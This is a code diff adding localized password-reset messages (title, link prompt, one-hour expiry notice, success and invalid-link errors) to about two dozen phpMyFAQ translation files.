phpmyfaq/translations/language_fa.php+5 −0 modified@@ -543,6 +543,11 @@ $PMF_LANG["lostpwd_text_1"] = "از درخواست اطلاعات حساب خود سپاسگزاریم."; $PMF_LANG["lostpwd_text_2"] = "لطفاً یک رمز عبور شخصی جدید در بخش مدیریت پرسش و پاسخ خود تنظیم کنید."; $PMF_LANG["lostpwd_mail_okay"] = "ایمیل ارسال شد."; +$PMF_LANG["resetpwd_title"] = "تنظیم رمز عبور جدید"; +$PMF_LANG["resetpwd_text_link"] = "برای تنظیم رمز عبور جدید روی پیوند زیر کلیک کنید:"; +$PMF_LANG["resetpwd_text_expiry"] = "این پیوند به مدت ۱ ساعت معتبر است و فقط یک بار قابل استفاده است."; +$PMF_LANG["resetpwd_success"] = "رمز عبور شما تغییر کرد. اکنون میتوانید وارد شوید."; +$PMF_LANG["resetpwd_err_invalid"] = "این پیوند بازنشانی رمز عبور نامعتبر است یا منقضی شده است."; $PMF_LANG["msgButtonFetchLatestVersion"] = "کلیک کنید تا نسخه نصب phpMyFAQ خود را بررسی کنید"; $PMF_LANG["ad_xmlrpc_latest"] = "آخرین نسخه موجود";
phpmyfaq/translations/language_fi.php+5 −0 modified@@ -427,6 +427,11 @@ $PMF_LANG['lostpwd_text_1'] = 'Kiitos käyttöoikeuksesi tietojen pyytämisestä.'; $PMF_LANG['lostpwd_text_2'] = 'Ole hyvä ja aseta uusi henkilökohtainen salasanasi kysymyksen ylläpito-osiossa.'; $PMF_LANG['lostpwd_mail_okay'] = 'Sähköposti on lähetetty.'; +$PMF_LANG["resetpwd_title"] = "Aseta uusi salasana"; +$PMF_LANG["resetpwd_text_link"] = "Napsauta alla olevaa linkkiä asettaaksesi uuden salasanan:"; +$PMF_LANG["resetpwd_text_expiry"] = "Tämä linkki on voimassa 1 tunnin ja sitä voi käyttää vain kerran."; +$PMF_LANG["resetpwd_success"] = "Salasanasi on vaihdettu. Voit nyt kirjautua sisään."; +$PMF_LANG["resetpwd_err_invalid"] = "Tämä salasanan palautuslinkki on virheellinen tai vanhentunut."; $PMF_LANG['msgButtonFetchLatestVersion'] = 'Hae phpMyFAQ:n uusin versio'; $PMF_LANG['ad_xmlrpc_latest'] = 'Viimeisin saatavilla oleva versio on'; $PMF_LANG['ad_categ_select'] = 'Valitse kategorian kieli';
phpmyfaq/translations/language_fr_ca.php+5 −0 modified@@ -512,6 +512,11 @@ $PMF_LANG['lostpwd_text_1'] = 'Merci d\'avoir demandé des informations sur votre compte.'; $PMF_LANG['lostpwd_text_2'] = 'Merci de changer votre mot de passe personnel dans la section d\'administration de votre FAQ.'; $PMF_LANG['lostpwd_mail_okay'] = 'Le courriel a été envoyé.'; +$PMF_LANG["resetpwd_title"] = "Définir un nouveau mot de passe"; +$PMF_LANG["resetpwd_text_link"] = "Cliquez sur le lien ci-dessous pour définir un nouveau mot de passe :"; +$PMF_LANG["resetpwd_text_expiry"] = "Ce lien est valable 1 heure et ne peut être utilisé qu'une seule fois."; +$PMF_LANG["resetpwd_success"] = "Votre mot de passe a été modifié. Vous pouvez maintenant vous connecter."; +$PMF_LANG["resetpwd_err_invalid"] = "Ce lien de réinitialisation de mot de passe est invalide ou a expiré."; $PMF_LANG['msgButtonFetchLatestVersion'] = 'Obtenez la dernière version de phpMyFAQ'; $PMF_LANG['ad_xmlrpc_latest'] = 'Dernière version disponible sur'; $PMF_LANG['ad_categ_select'] = 'Sélection des catégories par langue';
phpmyfaq/translations/language_fr.php+5 −0 modified@@ -546,6 +546,11 @@ $PMF_LANG["lostpwd_text_1"] = "Merci d'avoir demandé des informations sur votre compte."; $PMF_LANG["lostpwd_text_2"] = "Merci de changer votre mot de passe personnel dans la section d'administration de votre FAQ."; $PMF_LANG["lostpwd_mail_okay"] = "L'e-mail a été envoyé."; +$PMF_LANG["resetpwd_title"] = "Définir un nouveau mot de passe"; +$PMF_LANG["resetpwd_text_link"] = "Cliquez sur le lien ci-dessous pour définir un nouveau mot de passe :"; +$PMF_LANG["resetpwd_text_expiry"] = "Ce lien est valable 1 heure et ne peut être utilisé qu'une seule fois."; +$PMF_LANG["resetpwd_success"] = "Votre mot de passe a été modifié. Vous pouvez maintenant vous connecter."; +$PMF_LANG["resetpwd_err_invalid"] = "Ce lien de réinitialisation de mot de passe est invalide ou a expiré."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Cliquez pour vérifier la version de votre installation phpMyFAQ"; $PMF_LANG["ad_xmlrpc_latest"] = "Dernière version disponible sur";
phpmyfaq/translations/language_he.php+5 −0 modified@@ -455,6 +455,11 @@ $PMF_LANG['lostpwd_text_1'] = 'תודה על בקשת מידע המשתמש שלך.'; $PMF_LANG['lostpwd_text_2'] = 'אנא ערוך סיסמה אישית חדשה באזור הניהול.'; $PMF_LANG['lostpwd_mail_okay'] = 'הדואל נשלח.'; +$PMF_LANG["resetpwd_title"] = "הגדר סיסמה חדשה"; +$PMF_LANG["resetpwd_text_link"] = "לחץ על הקישור למטה כדי להגדיר סיסמה חדשה:"; +$PMF_LANG["resetpwd_text_expiry"] = "קישור זה תקף לשעה אחת וניתן להשתמש בו פעם אחת בלבד."; +$PMF_LANG["resetpwd_success"] = "הסיסמה שלך שונתה. כעת תוכל להתחבר."; +$PMF_LANG["resetpwd_err_invalid"] = "קישור איפוס הסיסמה אינו תקף או שפג תוקפו."; $PMF_LANG['msgButtonFetchLatestVersion'] = 'קבל את הגירסה האחרונה של phpMyFAQ על ידי האינטרנט'; $PMF_LANG['ad_xmlrpc_latest'] = 'הגירסה החדשה ניתנת להורדה מ'; $PMF_LANG['ad_categ_select'] = 'בחר שפה לקטגוריה';
phpmyfaq/translations/language_hi.php+5 −0 modified@@ -551,6 +551,11 @@ $PMF_LANG["lostpwd_text_1"] = "अपनी खाते की जानकारी पूछने के लिए धन्यवाद."; $PMF_LANG["lostpwd_text_2"] = "अपनी FAQ के प्रबंधक केंद्र मैं नया संकेतक शब्द दाल लें."; $PMF_LANG["lostpwd_mail_okay"] = "ईमेल भेज दिया गया है."; +$PMF_LANG["resetpwd_title"] = "नया पासवर्ड सेट करें"; +$PMF_LANG["resetpwd_text_link"] = "नया पासवर्ड सेट करने के लिए नीचे दिए गए लिंक पर क्लिक करें:"; +$PMF_LANG["resetpwd_text_expiry"] = "यह लिंक 1 घंटे के लिए वैध है और केवल एक बार उपयोग किया जा सकता है।"; +$PMF_LANG["resetpwd_success"] = "आपका पासवर्ड बदल दिया गया है। अब आप लॉग इन कर सकते हैं।"; +$PMF_LANG["resetpwd_err_invalid"] = "यह पासवर्ड रीसेट लिंक अमान्य है या समाप्त हो गया है।"; $PMF_LANG["msgButtonFetchLatestVersion"] = "phpMyFaq का नया संस्करण पाएं"; $PMF_LANG["ad_xmlrpc_latest"] = "नया संस्करण उपलब्ध है";
phpmyfaq/translations/language_hu.php+5 −0 modified@@ -541,6 +541,11 @@ $PMF_LANG["lostpwd_text_1"] = "Köszönjük, hogy kérte fiókadatait."; $PMF_LANG["lostpwd_text_2"] = "Kérjük, állítson be új személyes jelszót a GYIK adminisztrációs részében."; $PMF_LANG["lostpwd_mail_okay"] = "E-mail elküldve."; +$PMF_LANG["resetpwd_title"] = "Új jelszó beállítása"; +$PMF_LANG["resetpwd_text_link"] = "Kattintson az alábbi linkre új jelszó beállításához:"; +$PMF_LANG["resetpwd_text_expiry"] = "Ez a link 1 órán át érvényes, és csak egyszer használható fel."; +$PMF_LANG["resetpwd_success"] = "Jelszava módosult. Most bejelentkezhet."; +$PMF_LANG["resetpwd_err_invalid"] = "Ez a jelszó-visszaállító link érvénytelen vagy lejárt."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Kattintson a phpMyFAQ telepítésének verziójának ellenőrzéséhez"; $PMF_LANG["ad_xmlrpc_latest"] = "Legújabb elérhető verzió";
phpmyfaq/translations/language_id.php+5 −0 modified@@ -549,6 +549,11 @@ $PMF_LANG["lostpwd_text_1"] = "Terima kasih atas permintaan informasi akun anda."; $PMF_LANG["lostpwd_text_2"] = "Silakan buat kata sandi baru pada bagian admin."; $PMF_LANG["lostpwd_mail_okay"] = "E-Mail sudah dikirim."; +$PMF_LANG["resetpwd_title"] = "Atur kata sandi baru"; +$PMF_LANG["resetpwd_text_link"] = "Klik tautan di bawah ini untuk mengatur kata sandi baru:"; +$PMF_LANG["resetpwd_text_expiry"] = "Tautan ini berlaku selama 1 jam dan hanya dapat digunakan sekali."; +$PMF_LANG["resetpwd_success"] = "Kata sandi Anda telah diubah. Anda sekarang dapat masuk."; +$PMF_LANG["resetpwd_err_invalid"] = "Tautan reset kata sandi ini tidak valid atau telah kedaluwarsa."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Lihat nomor versi phpMyFAQ terbaru lewat layanan web"; $PMF_LANG["ad_xmlrpc_latest"] = "Versi terbaru sudah tersedia di";
phpmyfaq/translations/language_it.php+5 −0 modified@@ -454,6 +454,11 @@ $PMF_LANG['lostpwd_text_1'] = 'Grazie per aver richiesto i tuoi dati.'; $PMF_LANG['lostpwd_text_2'] = 'Per cortesia crea una nuova password personale nella sezione amministrativa delle FAQ.'; $PMF_LANG['lostpwd_mail_okay'] = 'L\'e-mail è stata inviata.'; +$PMF_LANG["resetpwd_title"] = "Imposta una nuova password"; +$PMF_LANG["resetpwd_text_link"] = "Clicca sul link qui sotto per impostare una nuova password:"; +$PMF_LANG["resetpwd_text_expiry"] = "Questo link è valido per 1 ora e può essere utilizzato una sola volta."; +$PMF_LANG["resetpwd_success"] = "La tua password è stata modificata. Ora puoi accedere."; +$PMF_LANG["resetpwd_err_invalid"] = "Questo link per il ripristino della password non è valido o è scaduto."; $PMF_LANG['msgButtonFetchLatestVersion'] = 'Controlla quale sia l\'ultima versione stabile di phpMyFAQ'; $PMF_LANG['ad_xmlrpc_latest'] = 'Questa è l\'ultima versione disponibile presso'; $PMF_LANG['ad_categ_select'] = 'Selezione la lingua della categoria';
phpmyfaq/translations/language_ja.php+5 −0 modified@@ -450,6 +450,11 @@ $PMF_LANG['lostpwd_text_1'] = 'アカウント情報の要求頂きありがとうございます。'; $PMF_LANG['lostpwd_text_2'] = 'FAQ の管理セクションの中で新しい個人のパスワードを設定してください。'; $PMF_LANG['lostpwd_mail_okay'] = '電子メールを送信しました。'; +$PMF_LANG["resetpwd_title"] = "新しいパスワードを設定"; +$PMF_LANG["resetpwd_text_link"] = "新しいパスワードを設定するには、以下のリンクをクリックしてください:"; +$PMF_LANG["resetpwd_text_expiry"] = "このリンクは1時間有効で、一度のみ使用できます。"; +$PMF_LANG["resetpwd_success"] = "パスワードが変更されました。ログインできます。"; +$PMF_LANG["resetpwd_err_invalid"] = "このパスワードリセットリンクは無効または期限切れです。"; $PMF_LANG['msgButtonFetchLatestVersion'] = '最新の phpMyFAQ バージョンをウェブで確認する'; $PMF_LANG['ad_xmlrpc_latest'] = '最新バージョンを次のサイトから利用することができます:'; $PMF_LANG['ad_categ_select'] = 'カテゴリー言語を選択する';
phpmyfaq/translations/language_ko.php+5 −0 modified@@ -547,6 +547,11 @@ $PMF_LANG["lostpwd_text_1"] = "사용자 정보를 요청하셨습니다."; $PMF_LANG["lostpwd_text_2"] = "관리자 페이지에서 새로운 비밀번호를 설정하시기 바랍니다."; $PMF_LANG["lostpwd_mail_okay"] = "E-Mail을 보냈습니다."; +$PMF_LANG["resetpwd_title"] = "새 비밀번호 설정"; +$PMF_LANG["resetpwd_text_link"] = "새 비밀번호를 설정하려면 아래 링크를 클릭하세요:"; +$PMF_LANG["resetpwd_text_expiry"] = "이 링크는 1시간 동안 유효하며 한 번만 사용할 수 있습니다."; +$PMF_LANG["resetpwd_success"] = "비밀번호가 변경되었습니다. 이제 로그인할 수 있습니다."; +$PMF_LANG["resetpwd_err_invalid"] = "이 비밀번호 재설정 링크는 유효하지 않거나 만료되었습니다."; $PMF_LANG["msgButtonFetchLatestVersion"] = "최신의 phpMyFAQ 버전을 확인하세요. "; $PMF_LANG["ad_xmlrpc_latest"] = "최신버전을 다음 사이트에서 이용하실 수 있습니다.";
phpmyfaq/translations/language_lt.php+5 −0 modified@@ -550,6 +550,11 @@ $PMF_LANG["lostpwd_text_1"] = "Ačiū, kad paprašėte savo paskyros informacijos."; $PMF_LANG["lostpwd_text_2"] = "Prašome nustatyti naują asmeninį slaptažodį DUK administravimo sekcijoje."; $PMF_LANG["lostpwd_mail_okay"] = "El. laiškas išsiųstas."; +$PMF_LANG["resetpwd_title"] = "Nustatyti naują slaptažodį"; +$PMF_LANG["resetpwd_text_link"] = "Spustelėkite žemiau esančią nuorodą, kad nustatytumėte naują slaptažodį:"; +$PMF_LANG["resetpwd_text_expiry"] = "Ši nuoroda galioja 1 valandą ir gali būti panaudota tik vieną kartą."; +$PMF_LANG["resetpwd_success"] = "Jūsų slaptažodis pakeistas. Dabar galite prisijungti."; +$PMF_LANG["resetpwd_err_invalid"] = "Ši slaptažodžio atstatymo nuoroda negalioja arba pasibaigė jos galiojimas."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Gauti naujausios phpMyFAQ versijos numerį per žiniatinklio tarnybą"; $PMF_LANG["ad_xmlrpc_latest"] = "Naujausia versija prieinama";
phpmyfaq/translations/language_lv.php+5 −0 modified@@ -543,6 +543,11 @@ $PMF_LANG["lostpwd_text_1"] = "Thank you for requesting your account information."; $PMF_LANG["lostpwd_text_2"] = "Please set a new personal password in the admin section of your FAQ."; $PMF_LANG["lostpwd_mail_okay"] = "E-Mail was sent."; +$PMF_LANG["resetpwd_title"] = "Iestatīt jaunu paroli"; +$PMF_LANG["resetpwd_text_link"] = "Noklikšķiniet uz tālāk esošās saites, lai iestatītu jaunu paroli:"; +$PMF_LANG["resetpwd_text_expiry"] = "Šī saite ir derīga 1 stundu un to var izmantot tikai vienu reizi."; +$PMF_LANG["resetpwd_success"] = "Jūsu parole ir mainīta. Tagad varat pieteikties."; +$PMF_LANG["resetpwd_err_invalid"] = "Šī paroles atiestatīšanas saite nav derīga vai tās termiņš ir beidzies."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Get latest phpMyFAQ version number by web service"; $PMF_LANG["ad_xmlrpc_latest"] = "Latest version available on";
phpmyfaq/translations/language_mn.php+5 −0 modified@@ -545,6 +545,11 @@ $PMF_LANG["lostpwd_text_1"] = "Бүртгэлийн мэдээллийн хүсэлт илгээсэнд баярлалаа."; $PMF_LANG["lostpwd_text_2"] = "FAQ -н удирдлагын хэсэгт шинэ нууц үг тохируулна уу."; $PMF_LANG["lostpwd_mail_okay"] = "E-Mail илгээгдсэн."; +$PMF_LANG["resetpwd_title"] = "Шинэ нууц үг тохируулах"; +$PMF_LANG["resetpwd_text_link"] = "Шинэ нууц үг тохируулахын тулд доорх холбоос дээр дарна уу:"; +$PMF_LANG["resetpwd_text_expiry"] = "Энэ холбоос 1 цагийн турш хүчинтэй бөгөөд зөвхөн нэг удаа ашиглах боломжтой."; +$PMF_LANG["resetpwd_success"] = "Таны нууц үг өөрчлөгдсөн. Та одоо нэвтэрч болно."; +$PMF_LANG["resetpwd_err_invalid"] = "Энэ нууц үг сэргээх холбоос буруу эсвэл хугацаа дууссан."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Энд дарж PhpMyFAQ суулгацын хувилбарыг шалгана уу."; $PMF_LANG["ad_xmlrpc_latest"] = "Сүүлийн хувилбар";
phpmyfaq/translations/language_ms.php+5 −0 modified@@ -539,6 +539,11 @@ $PMF_LANG["lostpwd_text_1"] = "Terima kasih kerana meminta maklumat akaun anda."; $PMF_LANG["lostpwd_text_2"] = "Sila tetapkan kata laluan peribadi baharu di bahagian pentadbir Soalan Lazim anda."; $PMF_LANG["lostpwd_mail_okay"] = "E-mel telah dihantar."; +$PMF_LANG["resetpwd_title"] = "Tetapkan kata laluan baharu"; +$PMF_LANG["resetpwd_text_link"] = "Klik pautan di bawah untuk menetapkan kata laluan baharu:"; +$PMF_LANG["resetpwd_text_expiry"] = "Pautan ini sah selama 1 jam dan hanya boleh digunakan sekali."; +$PMF_LANG["resetpwd_success"] = "Kata laluan anda telah ditukar. Anda kini boleh log masuk."; +$PMF_LANG["resetpwd_err_invalid"] = "Pautan tetapan semula kata laluan ini tidak sah atau telah tamat tempoh."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Klik untuk menyemak versi pemasangan phpMyFAQ anda"; $PMF_LANG["ad_xmlrpc_latest"] = "Versi terkini tersedia";
phpmyfaq/translations/language_nb.php+5 −0 modified@@ -436,6 +436,11 @@ $PMF_LANG['lostpwd_text_1'] = 'Takk for at du forespurte din kontoinformasjon.'; $PMF_LANG['lostpwd_text_2'] = 'Sett et nytt personlig passord på administratorsiden.'; $PMF_LANG['lostpwd_mail_okay'] = 'E-post er sendt.'; +$PMF_LANG["resetpwd_title"] = "Angi nytt passord"; +$PMF_LANG["resetpwd_text_link"] = "Klikk på lenken nedenfor for å angi et nytt passord:"; +$PMF_LANG["resetpwd_text_expiry"] = "Denne lenken er gyldig i 1 time og kan kun brukes én gang."; +$PMF_LANG["resetpwd_success"] = "Passordet ditt er endret. Du kan nå logge inn."; +$PMF_LANG["resetpwd_err_invalid"] = "Denne lenken for tilbakestilling av passord er ugyldig eller utløpt."; $PMF_LANG['msgButtonFetchLatestVersion'] = 'Finn siste phpMyFAQ versjonsnummer ved hjelp av web service'; $PMF_LANG['ad_xmlrpc_latest'] = 'Siste versjon tilgjengelig på'; $PMF_LANG['ad_categ_select'] = 'Velg kategorispråk';
phpmyfaq/translations/language_nl.php+5 −0 modified@@ -441,6 +441,11 @@ $PMF_LANG['lostpwd_text_1'] = 'Bedankt voor uw aanvraag voor uw account informatie.'; $PMF_LANG['lostpwd_text_2'] = 'Wijzig uw wachtwoord in de beheersectie van uw FAQ.'; $PMF_LANG['lostpwd_mail_okay'] = 'E-mail is verzonden.'; +$PMF_LANG["resetpwd_title"] = "Nieuw wachtwoord instellen"; +$PMF_LANG["resetpwd_text_link"] = "Klik op de onderstaande link om een nieuw wachtwoord in te stellen:"; +$PMF_LANG["resetpwd_text_expiry"] = "Deze link is 1 uur geldig en kan slechts één keer worden gebruikt."; +$PMF_LANG["resetpwd_success"] = "Uw wachtwoord is gewijzigd. U kunt nu inloggen."; +$PMF_LANG["resetpwd_err_invalid"] = "Deze link voor het opnieuw instellen van het wachtwoord is ongeldig of verlopen."; $PMF_LANG['msgButtonFetchLatestVersion'] = 'Haal het laatste phpMyFAQ versienummer op met behulp van de webservice'; $PMF_LANG['ad_xmlrpc_latest'] = 'Laatste versie beschikbaar op'; $PMF_LANG['ad_categ_select'] = 'Taal van de categorie';
phpmyfaq/translations/language_pl.php+5 −0 modified@@ -513,6 +513,11 @@ $PMF_LANG["lostpwd_text_1"] = "Dziękujemy za przesłanie informacji o koncie."; $PMF_LANG["lostpwd_text_2"] = "Proszę ustawić nowe hasło osobiste w sekcji administracyjnej swojego FAQ."; $PMF_LANG["lostpwd_mail_okay"] = "Email został wysłany."; +$PMF_LANG["resetpwd_title"] = "Ustaw nowe hasło"; +$PMF_LANG["resetpwd_text_link"] = "Kliknij poniższy link, aby ustawić nowe hasło:"; +$PMF_LANG["resetpwd_text_expiry"] = "Ten link jest ważny przez 1 godzinę i może zostać użyty tylko raz."; +$PMF_LANG["resetpwd_success"] = "Twoje hasło zostało zmienione. Możesz się teraz zalogować."; +$PMF_LANG["resetpwd_err_invalid"] = "Ten link do resetowania hasła jest nieprawidłowy lub wygasł."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Kliknij, aby sprawdzić wersję instalacji phpMyFAQ"; $PMF_LANG["ad_xmlrpc_latest"] = "Najnowsza dostępna wersja";
phpmyfaq/translations/language_pt_br.php+5 −0 modified@@ -445,6 +445,11 @@ $PMF_LANG['lostpwd_text_1'] = 'Obrigado por solicitar a informação da sua conta.'; $PMF_LANG['lostpwd_text_2'] = 'Por favor defina uma nova senha na seção de administração da FAQ.'; $PMF_LANG['lostpwd_mail_okay'] = 'E-Mail enviado.'; +$PMF_LANG["resetpwd_title"] = "Definir uma nova senha"; +$PMF_LANG["resetpwd_text_link"] = "Clique no link abaixo para definir uma nova senha:"; +$PMF_LANG["resetpwd_text_expiry"] = "Este link é válido por 1 hora e só pode ser usado uma vez."; +$PMF_LANG["resetpwd_success"] = "Sua senha foi alterada. Agora você pode fazer login."; +$PMF_LANG["resetpwd_err_invalid"] = "Este link de redefinição de senha é inválido ou expirou."; $PMF_LANG['msgButtonFetchLatestVersion'] = 'Obtenha a versão mais recente de phpMyFAQ'; $PMF_LANG['ad_xmlrpc_latest'] = 'Versão mais recente disponível em'; $PMF_LANG['ad_categ_select'] = 'Escolha o idioma';
phpmyfaq/translations/language_pt.php+5 −0 modified@@ -452,6 +452,11 @@ $PMF_LANG['lostpwd_text_1'] = 'Obrigado por requerer informação sobre a sua conta.'; $PMF_LANG['lostpwd_text_2'] = 'Por favor defina uma nova password pessoal na secção de administração das FAQ.'; $PMF_LANG['lostpwd_mail_okay'] = 'O e-mail foi enviado.'; +$PMF_LANG["resetpwd_title"] = "Definir uma nova palavra-passe"; +$PMF_LANG["resetpwd_text_link"] = "Clique no link abaixo para definir uma nova palavra-passe:"; +$PMF_LANG["resetpwd_text_expiry"] = "Este link é válido por 1 hora e só pode ser utilizado uma vez."; +$PMF_LANG["resetpwd_success"] = "A sua palavra-passe foi alterada. Pode agora iniciar sessão."; +$PMF_LANG["resetpwd_err_invalid"] = "Este link de redefinição de palavra-passe é inválido ou expirou."; $PMF_LANG['msgButtonFetchLatestVersion'] = 'Obter informação sobre a sua instalação do phpMyFAQ'; $PMF_LANG['ad_xmlrpc_latest'] = 'Versão mais recente disponível em '; $PMF_LANG['ad_categ_select'] = 'Escolha o idioma da Categoria';
phpmyfaq/translations/language_ro.php+5 −0 modified@@ -540,6 +540,11 @@ $PMF_LANG["lostpwd_text_1"] = "Mulțumim pentru solicitarea informațiilor despre cont."; $PMF_LANG["lostpwd_text_2"] = "Vă rugăm să setați o nouă parolă personală în secțiunea de administrare a FAQ-ului dumneavoastră."; $PMF_LANG["lostpwd_mail_okay"] = "Emailul a fost trimis."; +$PMF_LANG["resetpwd_title"] = "Setează o parolă nouă"; +$PMF_LANG["resetpwd_text_link"] = "Apasă pe linkul de mai jos pentru a seta o parolă nouă:"; +$PMF_LANG["resetpwd_text_expiry"] = "Acest link este valabil timp de 1 oră și poate fi folosit o singură dată."; +$PMF_LANG["resetpwd_success"] = "Parola ta a fost schimbată. Acum te poți autentifica."; +$PMF_LANG["resetpwd_err_invalid"] = "Acest link de resetare a parolei nu este valid sau a expirat."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Faceți clic pentru a verifica versiunea instalării phpMyFAQ"; $PMF_LANG["ad_xmlrpc_latest"] = "Ultima versiune disponibilă";
phpmyfaq/translations/language_ru.php+5 −0 modified@@ -540,6 +540,11 @@ $PMF_LANG["lostpwd_text_1"] = "Спасибо за запрос информации о вашей учетной записи."; $PMF_LANG["lostpwd_text_2"] = "Пожалуйста, установите новый личный пароль в разделе администратора вашего FAQ."; $PMF_LANG["lostpwd_mail_okay"] = "Email был отправлен."; +$PMF_LANG["resetpwd_title"] = "Установить новый пароль"; +$PMF_LANG["resetpwd_text_link"] = "Нажмите на ссылку ниже, чтобы установить новый пароль:"; +$PMF_LANG["resetpwd_text_expiry"] = "Эта ссылка действительна в течение 1 часа и может быть использована только один раз."; +$PMF_LANG["resetpwd_success"] = "Ваш пароль был изменён. Теперь вы можете войти."; +$PMF_LANG["resetpwd_err_invalid"] = "Эта ссылка для сброса пароля недействительна или истекла."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Нажмите, чтобы проверить версию вашей установки phpMyFAQ"; $PMF_LANG["ad_xmlrpc_latest"] = "Последняя доступная версия";
phpmyfaq/translations/language_sk.php+5 −0 modified@@ -549,6 +549,11 @@ $PMF_LANG["lostpwd_text_1"] = "Ďakujeme za žiadosť o informáciu o Vašom účte."; $PMF_LANG["lostpwd_text_2"] = "Prosím nastavte nové heslo pre Vašu FAQ v sekcii admin."; $PMF_LANG["lostpwd_mail_okay"] = "E-mail bol odoslaný."; +$PMF_LANG["resetpwd_title"] = "Nastaviť nové heslo"; +$PMF_LANG["resetpwd_text_link"] = "Kliknite na odkaz nižšie a nastavte nové heslo:"; +$PMF_LANG["resetpwd_text_expiry"] = "Tento odkaz je platný 1 hodinu a môže sa použiť iba raz."; +$PMF_LANG["resetpwd_success"] = "Vaše heslo bolo zmenené. Teraz sa môžete prihlásiť."; +$PMF_LANG["resetpwd_err_invalid"] = "Tento odkaz na obnovenie hesla je neplatný alebo jeho platnosť vypršala."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Obdržať najnovšiu phpMyFAQ verziu webovým servisom"; $PMF_LANG["ad_xmlrpc_latest"] = "Najnovšia verzia dostupná na";
phpmyfaq/translations/language_sl.php+5 −0 modified@@ -548,6 +548,11 @@ $PMF_LANG["lostpwd_text_1"] = "Hvala za zahtevo po informacijah o vašem računu."; $PMF_LANG["lostpwd_text_2"] = "Prosimo, nastavite novo osebno geslo v administratorskem delu vašega FAQ."; $PMF_LANG["lostpwd_mail_okay"] = "E-pošta je bila poslana."; +$PMF_LANG["resetpwd_title"] = "Nastavi novo geslo"; +$PMF_LANG["resetpwd_text_link"] = "Kliknite spodnjo povezavo, da nastavite novo geslo:"; +$PMF_LANG["resetpwd_text_expiry"] = "Ta povezava velja 1 uro in jo lahko uporabite samo enkrat."; +$PMF_LANG["resetpwd_success"] = "Vaše geslo je bilo spremenjeno. Zdaj se lahko prijavite."; +$PMF_LANG["resetpwd_err_invalid"] = "Ta povezava za ponastavitev gesla ni veljavna ali je potekla."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Pridobi najnovejšo številko različice phpMyFAQ preko spletne storitve"; $PMF_LANG["ad_xmlrpc_latest"] = "Najnovejša razpoložljiva različica";
phpmyfaq/translations/language_sr.php+5 −0 modified@@ -548,6 +548,11 @@ $PMF_LANG["lostpwd_text_1"] = "Zahtev za detaljima Vašeg naloga je primljen."; $PMF_LANG["lostpwd_text_2"] = "Podesite novu lozinku u admin delu Vašeg FAQ."; $PMF_LANG["lostpwd_mail_okay"] = "E-Mail je poslat."; +$PMF_LANG["resetpwd_title"] = "Постави нову лозинку"; +$PMF_LANG["resetpwd_text_link"] = "Кликните на линк испод да поставите нову лозинку:"; +$PMF_LANG["resetpwd_text_expiry"] = "Овај линк важи 1 сат и може се користити само једном."; +$PMF_LANG["resetpwd_success"] = "Ваша лозинка је промењена. Сада се можете пријавити."; +$PMF_LANG["resetpwd_err_invalid"] = "Овај линк за ресетовање лозинке није важећи или је истекао."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Pogledaj najnoviju phpMyFAQ verziju na internetu"; $PMF_LANG["ad_xmlrpc_latest"] = "Najnovija dostupna verzija je";
phpmyfaq/translations/language_sv.php+5 −0 modified@@ -760,6 +760,11 @@ $PMF_LANG["lostpwd_text_1"] = "Tack för att du begärt din kontoinformation."; $PMF_LANG["lostpwd_text_2"] = "Vänligen ange ett nytt personligt lösenord i administratörsdelen av din FAQ."; $PMF_LANG["lostpwd_mail_okay"] = "E-post har skickats."; +$PMF_LANG["resetpwd_title"] = "Ange ett nytt lösenord"; +$PMF_LANG["resetpwd_text_link"] = "Klicka på länken nedan för att ange ett nytt lösenord:"; +$PMF_LANG["resetpwd_text_expiry"] = "Denna länk är giltig i 1 timme och kan endast användas en gång."; +$PMF_LANG["resetpwd_success"] = "Ditt lösenord har ändrats. Du kan nu logga in."; +$PMF_LANG["resetpwd_err_invalid"] = "Denna länk för återställning av lösenord är ogiltig eller har upphört att gälla."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Klicka för att kontrollera versionen av din phpMyFAQ-installation"; $PMF_LANG["ad_xmlrpc_latest"] = "Senaste tillgängliga version";
phpmyfaq/translations/language_th.php+5 −0 modified@@ -452,6 +452,11 @@ $PMF_LANG['lostpwd_text_1'] = 'ขอบคุณที่แจ้งขอข้อมูลรหัสผ่าน'; $PMF_LANG['lostpwd_text_2'] = 'โปรดเปลี่ยนรหัสผ่านของคุณในส่วนของผู้ดูแลระบบ'; $PMF_LANG['lostpwd_mail_okay'] = 'ข้อมูลได้จัดส่งให้ทางอีเมล์แล้ว'; +$PMF_LANG["resetpwd_title"] = "ตั้งรหัสผ่านใหม่"; +$PMF_LANG["resetpwd_text_link"] = "คลิกลิงก์ด้านล่างเพื่อตั้งรหัสผ่านใหม่:"; +$PMF_LANG["resetpwd_text_expiry"] = "ลิงก์นี้ใช้ได้ 1 ชั่วโมงและสามารถใช้ได้เพียงครั้งเดียว"; +$PMF_LANG["resetpwd_success"] = "รหัสผ่านของคุณถูกเปลี่ยนแล้ว คุณสามารถเข้าสู่ระบบได้แล้ว"; +$PMF_LANG["resetpwd_err_invalid"] = "ลิงก์รีเซ็ตรหัสผ่านนี้ไม่ถูกต้องหรือหมดอายุแล้ว"; $PMF_LANG['msgButtonFetchLatestVersion'] = 'ตรวจสอบเลขเวอร์ชั้นล่าสุดจากเว็บ'; $PMF_LANG['ad_xmlrpc_latest'] = 'พบเวอร์ชั่นใหม่ล่าสุด '; $PMF_LANG['ad_categ_select'] = 'เลือกภาษาของหัวข้อ';
